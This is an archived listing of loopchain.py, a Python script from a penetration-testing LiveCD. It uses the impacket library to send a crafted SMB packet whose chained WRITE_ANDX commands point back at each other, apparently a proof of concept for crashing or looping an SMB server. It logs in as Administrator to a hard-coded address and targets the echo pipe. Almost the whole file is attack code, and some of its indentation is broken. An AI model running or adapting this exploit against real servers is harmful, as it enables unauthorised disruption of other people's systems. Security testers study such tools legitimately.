home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / bin / loopchain.py < prev    next >
Text File  |  2006-05-22  |  2KB  |  58 lines

  1. from impacket import smb
  2. import time
  3.  
  4. class lotsSMB(smb.SMB):
  5.     def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
  6.         pkt = smb.NewSMBPacket()
  7.         pkt['Flags1'] = 0x18
  8.         pkt['Flags2'] = 0
  9.         pkt['Tid']    = tid
  10.  
  11.         writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
  12.         pkt.addCommand(writeAndX)
  13.         
  14.         writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
  15.         writeAndX['Parameters']['Fid'] = fid
  16.         writeAndX['Parameters']['Offset'] = offset
  17.         writeAndX['Parameters']['WriteMode'] = 0
  18.         writeAndX['Parameters']['Remaining'] = len(data)
  19.         writeAndX['Parameters']['DataLength'] = len(data)
  20.         writeAndX['Parameters']['DataOffset'] = len(pkt)
  21.         writeAndX['Data'] = data+('A'*4000)
  22.  
  23.     saved_offset = len(pkt)
  24.  
  25.         writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
  26.         pkt.addCommand(writeAndX2)
  27.         
  28.         writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
  29.         writeAndX2['Parameters']['Fid'] = fid
  30.         writeAndX2['Parameters']['Offset'] = offset
  31.         writeAndX2['Parameters']['WriteMode'] = 0
  32.         writeAndX2['Parameters']['Remaining'] = len(data)
  33.         writeAndX2['Parameters']['DataLength'] = len(data)
  34.         writeAndX2['Parameters']['DataOffset'] = len(pkt)
  35.         writeAndX2['Data'] = '<pata>\n'
  36.  
  37.     writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
  38.     writeAndX2['Parameters']['AndXOffset']  = saved_offset
  39.  
  40.         self.sendSMB(pkt)
  41.  
  42.         if wait_answer:
  43.             pkt = self.recvSMB()
  44.             if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
  45.                 return pkt
  46.         return None
  47.  
  48. s = lotsSMB('*SMBSERVER','192.168.1.1')
  49. s.login('Administrator','pasword')
  50. tid = s.tree_connect(r'\\*SMBSERVER\IPC$')
  51. fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0]
  52.  
  53. s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0)
  54.  
  55. time.sleep(2)
  56. s.close(tid,fid)
  57.  
  58.